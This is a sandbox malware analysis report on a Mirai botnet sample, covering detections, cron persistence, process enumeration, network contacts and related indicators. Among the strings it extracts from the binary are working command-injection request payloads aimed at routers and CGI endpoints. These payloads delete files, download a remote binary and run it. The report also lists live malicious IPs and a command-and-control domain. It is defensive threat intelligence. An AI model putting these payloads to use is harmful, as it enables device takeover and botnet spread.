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Linux Analysis Report
686i.elf

Overview

General Information

Sample name:	686i.elf
Analysis ID:	1642318
MD5:	913fa2eba99db0a4e78a73ab6dec9da6
SHA1:	a0229e60357b056aa9c89cc8cb1032e4039116b5
SHA256:	af894b758b8edd357ce97f18694b405ca93c6c1e091f6d7457887530edc7c3ef
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	88
Range:	0 - 100

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Executes the "crontab" command typically for achieving persistence

Sample tries to persist itself using cron

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "rm" command used to delete files or directories

HTTP GET or POST without a user agent

Reads the 'hosts' file potentially containing internal network hosts

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are potentially command strings

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1642318
Start date and time:	2025-03-19 02:01:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	686i.elf
Detection:	MAL
Classification:	mal88.troj.linELF@0/1@1/0

Warnings

VT rate limit hit for: conn.masjesu.zip

Runtime Messages

Command:	/tmp/686i.elf
PID:	6279
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:	no crontab for root

Process Tree

system is lnxubuntu20

dash New Fork (PID: 6254, Parent: 4334)

rm (PID: 6254, Parent: 4334, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.snUMMXyMK3 /tmp/tmp.9Qhnz4zPF4 /tmp/tmp.6fTXHNmO0K

dash New Fork (PID: 6255, Parent: 4334)

rm (PID: 6255, Parent: 4334, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.snUMMXyMK3 /tmp/tmp.9Qhnz4zPF4 /tmp/tmp.6fTXHNmO0K

686i.elf (PID: 6279, Parent: 6181, MD5: 913fa2eba99db0a4e78a73ab6dec9da6) Arguments: /tmp/686i.elf

686i.elf New Fork (PID: 6280, Parent: 6279)

686i.elf New Fork (PID: 6281, Parent: 6280)

sh (PID: 6281, Parent: 6280, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "crontab -l"

sh New Fork (PID: 6282, Parent: 6281)

crontab (PID: 6282, Parent: 6281, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -l

686i.elf New Fork (PID: 6283, Parent: 6280)

sh (PID: 6283, Parent: 6280, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "crontab -"

sh New Fork (PID: 6284, Parent: 6283)

crontab (PID: 6284, Parent: 6283, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -

686i.elf New Fork (PID: 6285, Parent: 6279)

686i.elf New Fork (PID: 6286, Parent: 6285)

686i.elf New Fork (PID: 6287, Parent: 6285)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
686i.elf	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
686i.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
686i.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
686i.elf	Linux_Trojan_Gafgyt_83715433	unknown	unknown	0x17af:$a: 8B 45 08 88 10 FF 45 08 8B 45 08 0F B6 00 84 C0 75 DB C9 C3 55
686i.elf	Linux_Trojan_Tsunami_0fa3a6e9	unknown	unknown	0x2747:$a: EC 8B 55 EC C1 FA 10 0F B7 45 EC 01 C2 89 55 EC 8B 45 EC C1

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Networking
• System Summary
• Persistence and Installation Behavior
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 686i.elf	ReversingLabs: Detection: 64%
Source: 686i.elf	Virustotal: Detection: 58%			Perma Link

Source: global traffic	HTTP traffic detected: GET /.shell HTTP/1.1Host: 37.44.238.88Connection: close
Source: global traffic	HTTP traffic detected: GET /.shell HTTP/1.1Host: 37.44.238.92Connection: close

Source: /tmp/686i.elf (PID: 6285)

Reads hosts file: /etc/hosts

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /.shell HTTP/1.1Host: 37.44.238.88Connection: close
Source: global traffic	HTTP traffic detected: GET /.shell HTTP/1.1Host: 37.44.238.92Connection: close

Source: global traffic

DNS traffic detected: DNS query: conn.masjesu.zip

Source: 686i.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: 686i.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 686i.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51798
Source: unknown	Network traffic detected: HTTP traffic on port 39256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44388
Source: unknown	Network traffic detected: HTTP traffic on port 51798 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: 686i.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_83715433 Author: unknown
Source: 686i.elf, type: SAMPLE	Matched rule: Linux_Trojan_Tsunami_0fa3a6e9 Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/huawei -r /spim;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/huawei -r /spim;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /UD/act?1 HTTP/1.1

Source: Initial sample	Potential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s/spim+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: Initial sample	Potential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s/l7vmra;sh${IFS}/tmp/l7vmra&>r&&tar${IFS}/string.js HTTP/1.0
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmra HTTP/1.1
Source: Initial sample	Potential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s/spim;${IFS}sh${IFS}/var/tmp/spim
Source: Initial sample	Potential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmra
Source: Initial sample	Potential command found: GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F%s%2Fbins.sh%3B%20chmod%20777%20bins.sh%3B%20.%2Fbins.sh) HTTP/1.1
Source: Initial sample	Potential command found: GET /.shell HTTP/1.1
Source: Initial sample	Potential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS};${IFS}wget${IFS}http://%s/spim;${IFS}sh${IFS}/var/tmp/spimGET /board.cgi?cmd=cd+/tmp;rm+-rf+;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmraGET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F%s%2Fbins.sh%3B%20chmod%20777%20bins.sh%3B%20.%2Fbins.sh) HTTP/1.1

Source: 686i.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_83715433 reference_sample = 3648a407224634d76e82eceec84250a7506720a7f43a6ccf5873f478408fedba, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 25ac15f4b903d9e28653dad0db399ebd20d4e9baabf5078fbc33d3cd838dd7e9, id = 83715433-3dff-4238-8cdb-c51279565e05, last_modified = 2021-09-16
Source: 686i.elf, type: SAMPLE	Matched rule: Linux_Trojan_Tsunami_0fa3a6e9 reference_sample = 40a15a186373a062bfb476b37a73c61e1ba84e5fa57282a7f9ec0481860f372a, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = fed796c5275e2e91c75dcdbf73d0c0ab37591115989312c6f6c5adcd138bc91f, id = 0fa3a6e9-89f3-4bc8-8dc1-e9ccbeeb836d, last_modified = 2021-09-16

Source: classification engine

Classification label: mal88.troj.linELF@0/1@1/0

Persistence and Installation Behavior

Executes the "crontab" command typically for achieving persistence

Source: /bin/sh (PID: 6282)	Crontab executable: /usr/bin/crontab -> crontab -l			Jump to behavior
Source: /bin/sh (PID: 6284)	Crontab executable: /usr/bin/crontab -> crontab -			Jump to behavior

Sample tries to persist itself using cron

Source: /usr/bin/crontab (PID: 6284)	File: /var/spool/cron/crontabs/tmp.T9Zbwl			Jump to behavior
Source: /usr/bin/crontab (PID: 6284)	File: /var/spool/cron/crontabs/root			Jump to behavior

Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/6234/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/4723/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/6243/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/6242/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/6256/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/6258/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/6257/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/1477/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/379/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/1476/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/686i.elf (PID: 6286)	File opened: /proc/2208/cmdline	Jump to behavior

Source: /tmp/686i.elf (PID: 6281)	Shell command executed: sh -c "crontab -l"			Jump to behavior
Source: /tmp/686i.elf (PID: 6283)	Shell command executed: sh -c "crontab -"			Jump to behavior

Source: /usr/bin/dash (PID: 6254)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.snUMMXyMK3 /tmp/tmp.9Qhnz4zPF4 /tmp/tmp.6fTXHNmO0K			Jump to behavior
Source: /usr/bin/dash (PID: 6255)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.snUMMXyMK3 /tmp/tmp.9Qhnz4zPF4 /tmp/tmp.6fTXHNmO0K			Jump to behavior

Source: submitted sample

Stderr: no crontab for root: exit code = 0

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match

File source: 686i.elf, type: SAMPLE

Remote Access Functionality

Yara detected Mirai

Source: Yara match

File source: 686i.elf, type: SAMPLE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Scheduled Task/Job	1 File Deletion	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

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Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

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Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
686i.elf	65%	ReversingLabs	Linux.Trojan.Mirai
686i.elf	58%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://37.44.238.88/.shell	100%	Avira URL Cloud	malware
http://37.44.238.92/.shell	100%	Avira URL Cloud	malware

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
conn.masjesu.zip	37.44.238.92	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://37.44.238.92/.shell	false	Avira URL Cloud: malware	unknown
http://37.44.238.88/.shell	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://schemas.xmlsoap.org/soap/encoding/	686i.elf	false	high
http://purenetworks.com/HNAP1/	686i.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	686i.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
37.44.238.92	conn.masjesu.zip	France	49434	HARMONYHOSTING-ASFR	false
34.249.145.219	unknown	United States	16509	AMAZON-02US	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
37.44.238.88	unknown	France	49434	HARMONYHOSTING-ASFR	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37.44.238.92	l7vmra.elf	Get hash	malicious	Mirai	Browse	37.44.238.92/.shell
34.249.145.219	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	sync.arm7.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	main_ppc.elf	Get hash	malicious	Mirai	Browse
	main_arm6.elf	Get hash	malicious	Mirai	Browse
	main_sh4.elf	Get hash	malicious	Mirai	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.42	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse
	boatnet.arm5.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	FederalmipsAgent.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	Sakura.sh.bin	Get hash	malicious	Unknown	Browse
	GwRba1mTFR.elf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
conn.masjesu.zip	l7vmra.elf	Get hash	malicious	Mirai	Browse	77.90.153.218
	LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf	Get hash	malicious	Mirai	Browse	216.126.231.240
	doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf	Get hash	malicious	Mirai	Browse	87.120.84.230
	wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf	Get hash	malicious	Mirai	Browse	216.126.231.240
	m1TuocfCMhon01ZDYjxrTEWsmYdVD8FZ4k.elf	Get hash	malicious	Mirai	Browse	216.126.231.240
	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf	Get hash	malicious	Mirai	Browse	216.126.231.240
	Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys.elf	Get hash	malicious	Mirai	Browse	87.120.84.230
	CP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elf	Get hash	malicious	Mirai	Browse	87.120.84.230

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HARMONYHOSTING-ASFR	gigab.arm5.elf	Get hash	malicious	Unknown	Browse	37.44.238.66
	gigab.mips.elf	Get hash	malicious	Unknown	Browse	37.44.238.66
	l7vmra.elf	Get hash	malicious	Mirai	Browse	37.44.238.92
	gigab.mips.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
	gigab.spc.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
	gigab.arm5.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
	gigab.arm4.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
	gigab.x86.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
	gigab.ppc.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
	gigab.sh4.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
CANONICAL-ASGB	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	boatnet.arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	FederalmipsAgent.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	Sakura.sh.bin	Get hash	malicious	Unknown	Browse	91.189.91.42
	https://paste.ubuntu.com/p/2xjw98FbQJ	Get hash	malicious	Unknown	Browse	185.125.188.23
HARMONYHOSTING-ASFR	gigab.arm5.elf	Get hash	malicious	Unknown	Browse	37.44.238.66
	gigab.mips.elf	Get hash	malicious	Unknown	Browse	37.44.238.66
	l7vmra.elf	Get hash	malicious	Mirai	Browse	37.44.238.92
	gigab.mips.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
	gigab.spc.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
	gigab.arm5.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
